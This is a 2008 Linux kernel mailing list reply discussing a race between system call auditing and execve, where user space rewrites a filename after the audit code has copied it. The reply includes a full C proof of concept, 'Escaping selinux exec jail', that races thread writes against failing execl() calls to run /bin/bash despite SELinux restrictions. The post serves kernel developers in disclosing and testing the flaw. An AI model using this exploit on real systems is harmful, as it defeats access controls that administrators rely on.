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Message-ID: <20080513125120.GB29334@Krystal>
Date: Tue, 13 May 2008 08:51:20 -0400
From: Mathieu Desnoyers <mathieu.desnoyers@...ymtl.ca>
To: David Woodhouse <dwmw2@...radead.org>
Cc: linux-kernel@...r.kernel.org, mingo@...hat.com
Subject: Re: System call audit
* David Woodhouse (dwmw2@...radead.org) wrote:
> On Mon, 2008-05-12 at 20:06 -0400, Mathieu Desnoyers wrote:
> > Hi David,
> >
> > As I am looking into the system-wide system call tracing problem, I
> > start to wonder how auditsc deals with the fact that user-space could
> > concurrently change the content referred to by the __user pointers.
>
> In general we have to copy the content into kernel space, audit it, and
> then act on it from there. See the explanation on the IPC audit patch at
> http://lwn.net/Articles/125350/ for example.
>
> Auditing one thing and then acting on another would be simply broken.
>
> > This would be the case for execve. If we create a program with two
> > thread; one is executing execve syscalls and the other thread would be
> > modifying the userspace string containing the name of the program to
> > execute.
>
> I was going to suggest that that attack vector won't work, because
> execve() kills all threads. But all you have to do to avoid that is put
> the data in question into a shared writable mmap and modify it from
> another _process_. And in fact I suspect there's a combination of CLONE_
> flags which would avoid the thread-killing behaviour anyway.
>
Even better : if execve fails, it doesn't kill the threads. Therefore,
all we have to do is to busy-loop doing failing execve() calls and
atomically change the string to what we want to be executed. Can anyone
test the sample snippet in a context where executing /bin/bash is
disallowed on a SMP system ? I don't have a selinux setup handy. I
suppose that as soon as selinux would see one /bin/bash exec, it will
kill the process, so a few runs would be required in order to generate
the correct race.
/*
* Escaping selinux exec jail
*
* build with gcc -lpthread -o escape-selinux escape-selinux.c
*
* Mathieu Desnoyers
* License: GPL
*/
#include <stdio.h>
#include <pthread.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <signal.h>
static char modstring[] = "$bin/bash";
void *thr1(void *arg)
{
while(1) {
execl(modstring, NULL);
}
return ((void*)1);
}
void *thr2(void *arg)
{
while(1) {
modstring[0] = '$';
modstring[0] = '/';
}
return ((void*)2);
}
int main()
{
int err;
pthread_t tid1, tid2;
void *tret;
err = pthread_create(&tid1, NULL, thr1, NULL);
if (err != 0)
exit(1);
err = pthread_create(&tid2, NULL, thr2, NULL);
if (err != 0)
exit(1);
sleep(10);
err = pthread_join(tid1, &tret);
if (err != 0)
exit(1);
err = pthread_join(tid2, &tret);
if (err != 0)
exit(1);
return 0;
}
> > Since we have two copy_from_user, one in auditsc and one in the
> > real execve() function, the string passed to the OS could differ from
> > the string seen by auditsc.
>
> Right. Don't Do That Then. The audit code should see what's _actually_
> given to the child process. The audit/execve code has changed since I
> last looked, but I think it's probably OK because it's reading the
> contents of the new program's mm on the way back from the execve()
> system call -- before ever giving the CPU back to that process.
>
> --
> dwmw2
>
--
Mathieu Desnoyers
OpenPGP key fingerprint: 8CD5 52C3 8E3C 4140 715F BA06 3F25 A8FE 3BAE 9A68
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